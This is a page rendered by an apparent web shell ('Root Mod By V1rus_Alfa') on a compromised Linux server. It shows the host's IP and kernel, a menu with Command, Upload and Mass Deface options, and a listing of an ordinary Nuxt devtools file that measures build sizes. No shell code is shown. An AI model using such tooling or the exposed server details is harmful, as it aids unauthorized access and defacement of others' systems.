���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.2
/
@nuxt
/
devtools
/
dist
/
chunks
/
Viewing: analyze-build.mjs
import { resolve, join } from 'pathe'; import { addVitePlugin } from '@nuxt/kit'; import Inspect from 'vite-plugin-inspect'; import { readdir, lstat } from 'node:fs/promises'; async function getFolderSize(dir) { const dirents = await readdir(dir, { withFileTypes: true }); if (dirents.length === 0) return 0; const files = []; const directorys = []; for (const dirent of dirents) { if (dirent.isFile()) { files.push(dirent); continue; } if (dirent.isDirectory()) directorys.push(dirent); } const sizes = await Promise.all( [ files.map(async (file) => { const path = resolve(dir, file.name); const { size } = await lstat(path); return size; }), directorys.map((directory) => { const path = resolve(dir, directory.name); return getFolderSize(path); }) ].flat() ); return sizes.reduce((total, size) => total += size, 0); } async function setup(nuxt, options) { if (options.viteInspect !== false) { addVitePlugin( Inspect({ build: true, outputDir: join(nuxt.options.analyzeDir, ".vite-inspect") }) ); } nuxt.hook("build:analyze:done", async (meta) => { const _meta = meta; _meta.size = _meta.size || {}; const dirs = [join(meta.buildDir, "dist/client"), meta.outDir]; const [clientBundleSize, nitroBundleSize] = await Promise.all(dirs.map(getFolderSize)); _meta.size.clientBundle = clientBundleSize; _meta.size.nitroBundle = nitroBundleSize; }); } export { setup };
Coded With 💗 by
0x6ick Mod By V1rus_Alfa